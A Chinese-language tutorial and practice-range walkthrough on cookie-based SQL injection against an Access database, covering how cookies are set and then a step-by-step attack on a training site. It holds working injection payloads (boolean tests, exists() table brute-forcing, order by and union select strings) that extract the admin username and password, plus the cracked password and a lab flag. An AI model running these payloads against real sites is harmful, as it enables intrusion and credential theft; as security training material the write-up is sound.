Access数据库注入之cookie注入

文章目录

  • 一、cookie注入简介
    • (一)什么是cookie
    • (二)为什么会存在cookie注入?
  • 二、如何修改cookie
    • (一)通过Javascript来设置Cookie
    • (二)通过浏览器的Application来修改
    • (三)通过burp抓包去修改cookie
    • (四)通过浏览器插件进行修改
  • 三、cookie注入靶场思路
    • (一)靶场需要注意的地方
    • (二)如何删除GET传参
    • (三)access数据库注入的特点
  • 四、靶场实战
    • (一)测试cookie传参
    • (二)测试cookie注入
    • (三)爆破表名
    • (四)判断字段数
    • (五)判断显错位
    • (六)查询admin
    • (七)查询用户名和密码
    • (八)登陆后台
    • (九)提交flag
  • 五、小结

一、cookie注入简介

(一)什么是cookie

Cookie就是代表你身份的一段字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登陆管理员账号。

(二)为什么会存在cookie注入?

在动态脚本语言中基本上都存在超全局变量,可以一次获取多种传参。很多时候开发者在开发的时候为了方便接收多种参数,在接受参数的时候都是用能接受多种传参的方法。
例如:
php中的$_REQUEST[] 可以获取POST|GET|COOKIE传参
注:php 5.4以上版本就不会接受Cookie传参了。
例如,源代码如下:


@$a=$_REQUEST['a']; 
echo $a;
?>

则在浏览器中访问该文件,并在URL中加一个?a=123
则会输出:123
我们通过burp对这个过程进行抓包,然后通过action发送到repeater模块,把GET改成POST,点GO,可以在右侧看到回显123。假如在末尾输入cookie: 321,若是php5.4以前的版本,则会回显321,而5.4以后的版本,REQUEST不会再接收cookie传参了。
那如何知道目标网站用的php版本呢?没有必要去知道,我们可以尝试进行cookie传参,若能传参成功则表示可以传参,否则就不行。
另外,并不是只有access数据库存在cookie注入,每个数据库都可能存在数据库注入,关键看接收传参的方式。


二、如何修改cookie

(一)通过Javascript来设置Cookie

我们在浏览器中随便打开一个网页,然后按F12调出浏览器的开发者工具,选择Console(译为控制台),打开浏览器的控制台,输入设置Js的语句就可以了。如图所示:
Access数据库注入之cookie注入_第1张图片
我们可以通过浏览器document.cookie来设置Cookie,输入:

document.cookie="id="+escape("171")

这里的171是id的值,最好加个escape()函数进行编码的转换。+号表示拼接后面的字符串。这行语句中,Cookie名字为id。这里的 escape是一个编码函数,这个函数会进行一次URL编码。
如果这么写也可以传参:

document.cookie="id=171"

但是由于数据的兼容性,不知道传过去的时候变成什么乱七八糟的东西,所以最好是加上这个escape()函数。
注意:上述语句写完后,要按一下回车键,然后再刷新页面就可以起作用了。

(二)通过浏览器的Application来修改

按F12调出浏览器的开发者工具,选择Application,在左侧的列表中,找到Cookies,就可以看到cookie传参和相应的值:
Access数据库注入之cookie注入_第2张图片

(三)通过burp抓包去修改cookie

抓取数据包直接修改数据包的值,添加一个Cookie字段在请求头里面。

Access数据库注入之cookie注入_第3张图片

Access数据库注入之cookie注入_第4张图片
注意点:Cookie传参的参数值需要用URL编码,记得传参的值要先进行URL编码。
在线URL编码地址:http://tool.chinaz.com/Tools/urlencode.aspx

(四)通过浏览器插件进行修改

在谷歌浏览器的扩展中添加EditThisCookie_v1.5.0插件,但是不建议使用这个方法,这个插件不够稳定,容易失效,所以直接用burp或者开发者工具比较方便。


三、cookie注入靶场思路

(一)靶场需要注意的地方

当同时存在cookie和GET传参时,默认优先接收GET传参,因此需要先删除GET传参。

(二)如何删除GET传参

直接在URL中把?及后面的内容全部删除即可。然后在开发者工具中的console中输入:

document.cookie="id="+escape("171")

看看和直接在URL中把id的值改为171的页面是否一致,若一致则说明存在cookie传参。这里还不能证明它存在cookie注入,只是能说明存在cookie传参而已。
继续测试:

document.cookie="id="+escape("171 and 1=1")

对比?id=171的页面,发现一致。
继续测试:

document.cookie="id="+escape("171 and 1=2")

页面回显异常,说明and 1=2 被当做代码执行了。
注意浏览器中要点URL栏并回车,而不是按刷新,直接刷新不一定会改变cookie的值(看浏览器版本),所以保险一点不要去刷新。

(三)access数据库注入的特点

Access只有一个库,它没有information库,也没有tables表。
最简单的方法是联合查询,因为是Access数据库,没有系统自带表,而且只有一个数据库,所以不需要纠结库名。那么怎么获取Access数据库的表名和字段名呢?可以通过工具去爆破。账号密码一般在盛行Access数据库的年代,都在admin表的username和password字段中。
所以,如果不知道库名怎么办?就一个库,没必要知道。如果不知道表名怎么办?只能靠爆破了,借助exist()函数,用and exists (select * from 表名)命令,如果页面正常,就是存在这个表。
exists这个函数就是检查子查询能否查询到数据,如果能会返回一个True否则返回False。
用burp去抓包爆破的时候,可以打开sqlmap文件夹里面的data文件夹,在txt文件夹里有一个文件名为common-tables.txt的文件,这是一个自带字典,收集了常用的表名。


四、靶场实战

(一)测试cookie传参

首先进入靶场页面,入口如图所示:
Access数据库注入之cookie注入_第5张图片
看到id=171,先测试一下看看能否进行GET注入。在URL地址栏中输入and 1=1,发现提示了过滤这种关键词。于是转而去尝试cookie注入。
按F12进入开发者工具,并找到console(控制台),输入

document.cookie="id="+escape("171")

回车。
删除URL地址栏中的?id=171并回车,页面回显正常,且与id=171的页面相同。
Access数据库注入之cookie注入_第6张图片
这表明存在cookie传参。

(二)测试cookie注入

document.cookie="id="+escape("171 and 1=2")

页面回显异常

Access数据库注入之cookie注入_第7张图片

document.cookie="id="+escape("171 and 1=1")

页面回显正常。

Access数据库注入之cookie注入_第8张图片
表明输入的语句被当做代码执行,表明存在cookie注入。

(三)爆破表名

Access只有一个库,它没有information库,也没有tables表。所以不知道表名时,只能通过盲注函数来判断了。开启burp工具,开启浏览器代理准备抓包。
接下来通过exists()函数来爆破表名。
输入:

document.cookie="id="+escape("171 and exists(select *from a)")

在burp中使用intruder模块进行跑包,用sqlmap中自带的字典(data文件夹中,txt文件里的common-tables.txt文件)。

Access数据库注入之cookie注入_第9张图片
看到跑出了很多表,比如admin、user、news等。账号密码一般在盛行Access数据库的年代,都放在admin表的username和password字段中,所以我们重点查找admin表中的字段。

(四)判断字段数

判断当前页面的字段数,这将有助于我们判断admin表的字段数。
首先输入:

document.cookie="id="+escape("171 order by 1")

回显正常。
输入:

document.cookie="id="+escape("171 order by 10")

回显正常。
输入:

document.cookie="id="+escape("171 order by 11")

回显异常:

Access数据库注入之cookie注入_第10张图片
表明当前页面的表字段数为10。

(五)判断显错位

使用联合查询判断当前页面的显错位
输入:

document.cookie="id="+escape("171 union select 111,222,333,444,555,666,777,888,999,101010 from admin")

Access数据库注入之cookie注入_第11张图片
得到显错位为:
2,3,7,8,9
查看网页源代码,搜索其他几个没显示在页面上的数字,看看有没有隐藏的显错位:
Access数据库注入之cookie注入_第12张图片
经过测试没发现有隐藏显错位。

(六)查询admin

查询admin里面有多少个字段,输入:

document.cookie="id="+escape("171 union select admin.* ,3,4,5,6,7,8,9,10 from admin ")

后面有8个字段,所以假如admin里面刚好是两个字段,则组合后刚好10个字段,应当回显正常。admin.*代表的是admin中所有的字段。
回车后发现数据库报错了。经过多次尝试,判断出admin表中的字段数是超过10个的。

(七)查询用户名和密码

由于我们需要的是用户名和密码,尝试用username和password在显错位中分别去尝试,输入如下:

document.cookie="id="+escape("171 union select 1,username,3,4,5,6,password,8,9,10 from admin ")

Access数据库注入之cookie注入_第13张图片
可见用户名为admin,密码是加密的。
Access数据库注入之cookie注入_第14张图片
密码解密后为welcome。

(八)登陆后台

访问网站后台登陆页面(在admin目录中):

Access数据库注入之cookie注入_第15张图片
Access数据库注入之cookie注入_第16张图片

(九)提交flag

得到flag为:
zkz{welcome-control}
提交flag:

Access数据库注入之cookie注入_第17张图片


五、小结

本文对cookie注入进行了简单介绍,讲解了cookie注入产生的原理、修改cookie的几种方法、Access数据库注入的特点等,并以Access数据库为例分享了靶场实操的过程,希望对大家学习cookie注入能起到一定的帮助。

你可能感兴趣的:(WEB安全,数据库,php,web安全)